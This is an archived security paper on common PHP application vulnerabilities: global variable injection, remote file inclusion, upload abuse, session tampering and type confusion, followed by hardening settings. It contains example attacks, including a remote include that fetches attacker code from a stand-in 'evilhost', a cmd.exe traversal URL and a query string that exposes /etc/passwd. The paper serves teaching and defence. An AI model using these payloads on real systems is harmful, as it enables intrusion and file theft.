TUCoPS :: Web :: PHP :: php8~1.htm


TUCoPS :: Web :: PHP :: php8~1.htm

Paper: PHP common vulnerabilities
Vulnerability
 php
Affected
 php in general
Description
 Following is based on a SecureReality release of their paper
 entitled 'A Study In Scarlet - Exploiting Common Vulnerabilities
 in PHP Applications'.
 This paper is based on my speech during the Blackhat briefings in
 Singapore and Hong Kong in April 2001. The speech was entitled
 "Breaking In Through the Front Door - The impact of Web
 Applications and Application Service Provision on Traditional
 Security Models". It initially discussed the trend towards Web
 Applications (and ASP) and the holes in traditional security
 methodology exposed by this trend. The rest of the speech was
 spent talking about PHP. For those reading this paper who don't
 know what PHP is, PHP stands for "PHP Hypertext Preprocessor".
 It's a programming language (designed specifically for the Web)
 in which PHP code is embedded in web pages. When a client
 requests a page, the Web Server first passes the page to the
 language interpreter so the code can be executed, the resulting
 page is then returned to the client.
 Obviously this approach is much more suited to the page by page
 nature of web transactions than traditional CGI languages such as
 Perl and C. PHP (and to some extent other Web Languages) has the
 following characteristics:
 + Interpreted
 + Fast Execution - The interpreter is embedded in the web server,
 no fork() or setup overhead
 + Feature Rich - Hundreds of non trivial builtin functions
 + Simple Syntax - Non declared and loosely typed variables,
 'wordy' function names
 Over the course of this paper we are going to try to explain why
 we feel the last two characteristics make applications written in
 PHP easy to attack and hard to defend.
 Almost all the observations in this paper refer to a default
 install of PHP 4.0.4pl1 (with MySQL, PostgreSQL, IMAP and OpenSSL
 support enabled) running as a module under Apache 1.3.19 on a
 Linux machine. This of course means that your mileage may vary,
 in particular, there have been many many versions of PHP and they
 sometimes exhibit vastly different behaviour given the same input.
 Also, proponents of PHP tend to defend the language based on its
 extreme configurability. We feel very confident the vast majority
 of users will not modify the default PHP configuration at all,
 lest some of the amazing array of freely available PHP software
 stop working. Thus we don't feel pressured to defend our position
 based on configuration options, nonetheless we included a section
 about how to go defending PHP applications using these
 configuration options.
 Finally, some people deride this kind of work as 'trivial' or
 'obvious', particularly since we won't be discussing any specific
 vulnerabilities in particular pieces of PHP software. To prove
 the risks are real and that even programmer's that try hard fall
 into these traps 4 detailed advisories in regards to specific
 pieces of vulnerable software will be released shortly after this
 paper.
 As mentioned earlier, variables in PHP don't have to be declared,
 they're automatically created the first time they are used. Nor
 are they specifically typed, they're typed automatically based on
 the context in which they are used. This is an extremely
 convenient way to do things from a programmer's perspective (and
 is obviously a useful feature in a rapid application development
 language). Once a variable is created it can be referenced
 anywhere in the program (except in functions where it must be
 explicitly included in the namespace with the 'global' function).
 The result of these characteristics is that variables are rarely
 initialized by the programmer, after all, when they're first
 created they are empty (i.e "").
 Obviously the main function of a PHP based web application is
 usually to take in some client input (form variables, uploaded
 files, cookies etc), process the input and return output based on
 that input. In order to make it as simple as possible for the PHP
 script to access this input, it's actually provided in the form of
 PHP global variables. Take the following example HTML snippet:
 <FORM METHOD="GET" ACTION="test.php">
 <INPUT TYPE="TEXT" NAME="hello">
 <INPUT TYPE="SUBMIT">
 </FORM>
 Obviously this will display a text box and a submit button. When
 the user presses the submit button the PHP script test.php will
 be run to process the input. When it runs the variable $hello
 will contain the text the user entered into the text box. It's
 important to note the implications of this, this means that a
 remote attacker can create any variable they wish and have it
 declared in the global namespace. If instead of using the form
 above to call test.php, an attacker calls it directly with a url
 like "http://server/test.php?hello=hi&setup=no", not only will
 $hello = "hi" when the script is run but $setup will be "no" also.
 An example of how this can be a real problem might be a script
 that was designed to authenticate a user before displaying some
 important information. For example:
 <?php
 if ($pass = "hello")
 $auth = 1;
 ...
 if ($auth == 1)
 echo "some important information";
 ?>
 In normal operation the above code will check the password to
 decide if the remote user has successfully authenticated then
 later check if they are authenticated and show them the important
 information. The problem is that the code incorrectly assumes
 that the variable $auth will be empty unless it sets it.
 Remembering that an attacker can create variables in the global
 namespace, a url like 'http://server/test.php?auth=1' will fail
 the password check but the script will still believe the attacker
 has successfully authenticated.
 To summarize the above, a PHP script _cannot trust ANY variable
 it has not EXPLICITLY set_. When you've got a rather large number
 of variables, this can be a much harder task than it may sound.
 Once common approach to protecting a script is to check that the
 variable is not in the array HTTP_GET/POST_VARS[] (depending on
 the method normally used to submit the form, GET or POST). When
 PHP is configured with track_vars enabled (as it is by default)
 variables submitted by the user are available both from the
 global variables and also as elements in the arrays mentioned
 above. However, it's important to note that there are FOUR
 different arrays for remote user input, HTTP_GET_VARS for
 variables submitted in the URL of the get request, HTTP_POST_VARS
 for variables submitted in the post section of a HTTP request,
 HTTP_COOKIE_VARS for variables submitted as part of the cookie
 headers in the HTTP request and to a limited degree the
 HTTP_POST_FILES array (in more recent versions of PHP). It is
 completely the end users choice which method they use to submit
 variables, one request can easily place variables in all four
 different arrays, a secure script needs to check all four (though
 again, the HTTP_POST_FILES array shouldn't be an issue except in
 exceptional circumstances).
 We are going to repeat this frequently during this document but
 it bears repeating, PHP is an extremely feature rich language.
 It ships with an amazing amount of functionality out of the box
 and tries hard to make life as easy as possible for the coder (or
 web designer as the case so often is). From a security
 perspective, the more superfluous functionality offered by a
 language and the less intuitive the possibilities, the more
 difficult it is to secure applications written in it. An
 excellent example of this is the Remote Files functionality of
 PHP. The following piece of PHP code is designed to open a file:
 <?php
 if (!($fd = fopen("$filename", "r"))
 echo("Could not open file: $filename<BR>\n");
 ?>
 The code attempts to open the file specified in the variable
 $filename for reading and if it fails displays an error.
 Obviously this could be a simple security issue if the user can
 set $filename and get the script to expose /etc/passwd for example
 but one non intuitive this code could end up doing is reading data
 from another web/ftp site. The remote files functionality means
 that the majority of PHPs file handling functions can work
 transparently on remote files via HTTP and FTP. If $filename were
 to contain (for example)
 http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
 PHP will actually make a HTTP request to the server "target", in
 this case trying to exploit the unicode flaw. This gets more
 interesting in the context of four other file functions that
 support remote file functionality (*** except under Windows ***),
 include(), require(), include_once() and require_once(). These
 functions take in a filename and read that file and parse it as
 PHP code. They're typically used to support the concept of code
 libraries, where common bits of PHP code are stored in files and
 included as needed. Now take the following piece of code:
 <?php
 include($libdir . "/languages.php");
 ?>
 Presumably $libdir is a configuration variable that is meant to
 be set earlier in script execution to the directory where the
 library files are stored. If the attacker can cause the variable
 not to be set the script (which is typically not a tremendously
 difficult task) and instead submit it themselves they can modify
 the start of the path. This would normally gain them nothing
 since they still end up only being able to access languages.php
 in a directory of their choosing (poison null attacks like those
 possible on Perl don't work under PHP) but with remote files the
 attack can submit any code they wish to be executed. For example,
 if the attacker places a file on a web server called languages.php
 containing the following:
 <?php
 passthru("/bin/ls /etc");
 ?>
 then sets $libdir to "http://<evilhost>/" upon encountering the
 include statement PHP will make a HTTP request to evilhost,
 retrieve the attackers code and execute it, returning a listing
 of /etc to the attackers web browser. Note that the attacking
 webserver (evilhost) can't be running PHP or the code will be run
 on the attacking machine rather than the target machine.
 As if PHP hadn't already provided enough to make life easier for
 the attacker the language provides automatic support for RFC 1867
 based file upload. Take the following form:
 <FORM METHOD="POST" ENCTYPE="multipart/form-data">
 <INPUT TYPE="FILE" NAME="hello">
 <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
 <INPUT TYPE="SUBMIT">
 </FORM>
 This form will allow the web browser user to select a file from
 their local machine then when they click submit the file will be
 uploaded to the remote web server. This is obviously useful
 functionality but is PHPs response that makes this dangerous.
 When PHP first receives the request, before it has even BEGUN to
 parse the PHP script being called it will automatically receive
 the file from the remote user, it will then check that the file
 is no larger than specified in the $MAX_FILE_SIZE variable (10 kb
 in this case) and the maximum file size set in the PHP
 configuration file, if it passes these tests the file is SAVED on
 the local disk in a temporary directory. Please read that again
 if that doesn't make you blink, a remote user can send any file
 they wish to a PHP enabled machine and before a script has even
 specified whether or not it accepts file uploads that file is
 SAVED on the local disk.
 We are going to ignore any resource exhaustion attacks that may
 or may not be possible using file upload functionality, they're
 fairly limited if not impossible in any case.
 First let's consider a script that IS designed to receive file
 uploads. As described above the file is received and saved on
 the local disk (in the location specified in the configuration for
 uploaded files, typically /tmp) with a random filename (e.g
 "phpxXuoXG"). The PHP script then needs information regarding
 the uploaded file to be able to process it. This is actually
 provided in two different ways, one has been in use since early
 versions of PHP 3, the other was introduced following some php
 advisories regarding the issue we are about to describe with the
 former method. Suffice to say the problem is still alive and
 well, most scripts continue to use the old method. PHP sets four
 global variables to describe the uploaded file, for example
 (given the upload form above):
 $hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
 $hello_size = Size in bytes of file (e.g 1024)
 $hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
 $hello_type = Mime type of uploaded file (e.g "text/plain")
 The PHP script then proceeds to work on the file as located via
 the $hello variable. The problem is that it isn't immediately
 obvious that $hello need not really be a PHP set variable and can
 simply be set by a remote attacker. Take the following form input
 for example:
 http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
 That results in the following global PHP variables (of course POST
 could be used (even cookies)):
 $hello = "/etc/passwd"
 $hello_size = 10240
 $hello_type = "text/plain"
 $hello_name = "hello.txt"
 This form input will provide exactly the variables the PHP scripts
 expects to be set by PHP, but instead of working on an uploaded
 file the script will infact be working on /etc/passwd (usually
 resulting in its content being exposed). This attack can be
 used to expose the contents of all sorts of sensitive files (in
 particular configuration files containing database and other
 third tier server credentials).
 We noted above that newer versions of PHP provide different
 methods for determining the uploaded files (it's done via the
 HTTP_POST_FILES[] array mentioned earlier). It also provides
 numerous functions to avoid this problem, for example a function
 to determine if a particular file is actually one that has been
 uploaded. These methods well and truly fix the problem but there
 is certainly no shortage of scripts out there still using the old
 method and still vulnerable to this sort of attack.
 As an alternate attack assisted by file upload consider the
 following example PHP code:
 <?php
 if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
 include("$theme");
 ?>
 If the attacker can control $theme they can obviously use this to
 read any file on the remote system (except that content inside
 PHP tags e.g "<?" will be removed and interpreted probably crashing
 immediately). While this is a problem the attackers ultimate
 goal is obviously to be able to execute commands on the remote web
 server and they can't achieve that by getting the include
 statement to work on remote files as discussed earlier. They
 therefore need to get PHP code they define into a file local to
 the remote machine. This sounds like an impossible task initially
 but file upload comes to the rescue. If the attacker creates a
 file on their machine containing PHP code to be executed (for
 example the passthru code shown earlier) then creates a form which
 contains a file field called "theme" and uses this form to submit
 the file to the script via file upload, PHP will be kind enough to
 save the file and set $theme to the location of the attackers file
 on the local machine. The file_exists() check will then succeed
 and the code will be run.
 Given command execution ability on the remote webserver the
 attacker will obviously wish to attempt privilege escalation
 attacks or attacks on the third tier servers, both of which will
 probably require a toolset not present on the webserver. The
 file upload functionality once again makes this a non issue, the
 attacker can simply upload the attack tools, have them saved by
 PHP then use their code execution ability to chmod() the file and
 execute it. For example, they could trivially upload a local
 root exploit (through the firewall and past the IDS) and execute
 it.
 We mentioned the include() and require() functions earlier, we
 also said that they're generally used to support the concept of
 code libraries. What we mean by that is that common bits of code
 are put into a separate file and when needed in the application
 simply include()ed from the file. include() and require() will
 take any specified filename and read the file and parse its
 contents as PHP code.
 Initially when people started developing and distributing PHP
 applications they chose to distinguish library and main
 application code by giving library files the '.inc' extension.
 However they quickly found this was a bad move in general since
 such files aren't normally parsed as PHP code by the PHP
 interpreter. If requested from the web server they will
 generally have the full source code returned. This is because
 the PHP interpreter (when used as an apache module) determines
 which files to parse for PHP code based on the file's extension,
 the extensions to be interpreted can be chosen by the
 administrator but usually a combination of the extensions '.php',
 '.php4' and '.php3' is chosen. This is a real problem when
 sensitive configuration data (e.g database credentials) is placed
 in PHP files that don't have an appropriate extension since a
 remote attacker can easily get the source.
 The simplest solution (and the one that has since become favored)
 is simply to give EVERY file a PHP parsed extension. This
 prevents a request to the web server ever returning the raw
 source for a file that contains PHP code. The problem here is
 that though the source will no longer be returned, by requesting
 the file a remote attacker can have the code that is meant to be
 used in a framework of other code executed out of context. This
 can lead to all of the attacks we described earlier.
 An obvious example might be the following:
 In main.php:
 <?php
 $libDir = "/libdir";
 $langDir = "$libdir/languages";
 
 ...
 
 include("$libdir/loadlanguage.php":
 ?>
 
 In libdir/loadlanguage.php:
 <?php
 ...
 
 include("$langDir/$userLang");
 ?>
 When libdir/loadlanguage.php is called in the defined context of
 main.php it is perfectly safe. But because libdir/loadlanguage
 has the extension .php (it doesn't have to have that extension,
 include() works on any file) it can be requested and executed by
 a remote attacker. When out of context an attacker can set
 $langDir and $userLang to whatever they wish.
 Later versions of PHP (4 and above) provide built-in support for
 'sessions'. Their basic purpose is to be able to save state
 information from page to page in a PHP application. For example,
 when a user logs in to a web site, the fact that they are logged
 in (and who they are logged in) could be saved in the session.
 When they move around the site this information will be available
 to all other PHP pages. What actually happens is that when a
 session is started (it's typically set in the configuration file
 to be automatically started on first request) a random session id
 is generated, the session persists as long as the remote browser
 always submits this session id with requests. This is most
 easily achieved with a cookie but can also be done by achieved by
 putting a form variable (containing the session id) on every
 page. The session is a variable store, a PHP application can
 choose to register a particular variable with the session, its
 value is then stored in a session file at the end of every PHP
 script and loaded into the variable at the start of every script.
 A trivial example is as follows:
 <?php
 session_destroy(); // Kill any data currently in the session
 $session_auth = "shaun";
 session_register("session_auth"); // Register $session_auth as a session variable
 ?>
 Any later PHP scripts will automatically have the variable
 $session_auth set to "shaun", if they modify it later scripts
 will receive the modified value. This is obviously a very handy
 facility to have in a stateless environment like the web but
 caution is also necessary.
 One obvious problem is with insuring that variables actually come
 from the session. For example, given the above code, if a later
 script does the following:
 <?php
 if (!empty($session_auth))
 // Grant access to site here
 ?>
 This code makes the assumption that if $session_auth is set, it
 must have come from the session and not from remote input. If an
 attacker specified $session_auth in form input they can gain
 access to the site. Note that the attacker must use this attack
 before the variable is registered with the session, once a
 variable is in a session it will override any form input.
 Session data is saved in a file (in a configurable location,
 usually /tmp) named 'sess_<session id>'. This file contains the
 names of the variables in the session, their loose type, value
 and other data. On multi host systems this can be an issue since
 the files are saved as the user running the web server (typically
 nobody), a malicious site owner can easily create a session file
 granting themselves access on another site or even examine the
 session files looking for sensitive information.
 The session mechanism also supplies another convenient place that
 an attacker have their input saved into a file on the remote
 machine. For examples above where the attacker needed PHP code
 in a file on the remote machine, if they cannot use file upload
 they can often use the application and have a session variable
 set to a value of their choosing. They can then guess the
 location of the session file, they know the filename
 'php<session id>' they just have to guess the directory, usually
 /tmp.
 Finally an issue we haven't found a use for is that an attacker
 can specify any session id they wish (e.g 'hello') and have a
 session file created with that id (for the example
 '/tmp/sess_hello'). The id can only contain alphanumeric
 characters but this might well be useful in some situations.
 PHP is a loosely typed language, that is, a variable has different
 values depending on the context in which it is being evaluated.
 For example, the variable $hello set to the empty string "" when
 evaluated as a number has the value 0. This can sometimes lead to
 non intuitive results (a factor that was important in the
 exploitation of phpMyAdmin in SRADV00008). If $hello is set to
 "000" it is NOT equal to "0" nor will the function empty() return
 true.
 PHP arrays are associative, that is, the index to the array is a
 STRING and can be set to any string value, it is not numerically
 evaluated. This means that the array entry $hello["000"] is NOT
 the same as the array entry $hello[0].
 Applications need to be careful to validate user input with
 thought to the above factors and to do so consistently. I.e don't
 test is something is equal to 0 in one place and then validate it
 using empty() somewhere else.
 When looking for holes in PHP applications (when you have the
 source code) it's useful to have a list of functions that are
 frequently misused or are good targets if they happen to be used
 in a vulnerable manner in the target application. If a remote
 user can affect the parameters to these functions exploitation is
 often possible. The following is a non exhaustive breakdown.
 PHP Code Execution:
 require() and include() - Both these functions read a specified
 file and interpret the contents as PHP code
 eval() - Interprets a given string as PHP code
 preg_replace() - When used with the /e modifier this function
 interprets the replacement string as PHP code
 Command Execution:
 exec() - Executes a specified command and returns the last line
 of the programs output
 passthru() - Executes a specified command and returns all of the
 output directly to the remote browser
 `` (backticks) - Executes the specified command and returns all
 the output in an array
 system() - Much the same as passthru() but doesn't handle binary
 data
 popen() - Executes a specified command and connects its output or
 input stream to a PHP file descriptor
 File Disclosure:
 fopen() - Opens a file and associates it with a PHP file descriptor
 readfile() - Reads a file and writes its contents directly to the
 remote browser
 file() - Reads an entire file into an array
Solution
 All of the attacks described above work perfectly on a default
 installation of PHP 4. However as we mentioned numerous times PHP
 is endlessly configurable and many of these attacks can be
 defeated using those configuration options.
 - Set register_globals off
 This option will stop PHP creating global variables for user
 input. That is, if a user submits the form variable 'hello'
 PHP won't set $hello, only HTTP_GET/POST_VARS['hello']. This
 is the mother of all other options and is best single option
 for PHP security, it will also kill basically every third party
 application available and makes programming PHP a whole lot
 less convenient.
 - Set safe_mode on
 We'd love to describe exactly what safe_mode does but it isn't
 documented completely. It introduces a large variety of
 restrictions including:
 - The ability to restrict which commands can be executed (by
 exec() etc)
 - The ability to restrict which functions can be used
 - Restricts file access based on ownership of script and target
 file
 - Kills file upload completely
 This is a great option for ISP environments (for which it is
 designed) but it can also greatly improve the security of normal
 PHP environments given proper configuration. It can also be a
 complete pain in the neck.
 - Set open_basedir
 This option prevents any file operations on files outside
 specified directories. This can effectively kill a variety of
 local include() and remote file attacks. Caution is still
 required in regards to file upload and session files.
 - Set display_errors off, log_errors on
 This prevents PHP error messages being displayed in the returned
 web page. This can effectively limit an attackers exploration
 of the function of the script they are attacking. It can also
 make debugging very frustrating.
 - Set allow_url_fopen off
 This stops remote files functionality. Very few sites really
 need this functionality, I absolutely recommend every site set
 this option.
 There may well be other great options I'm missing, please consult
 the PHP documentation

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH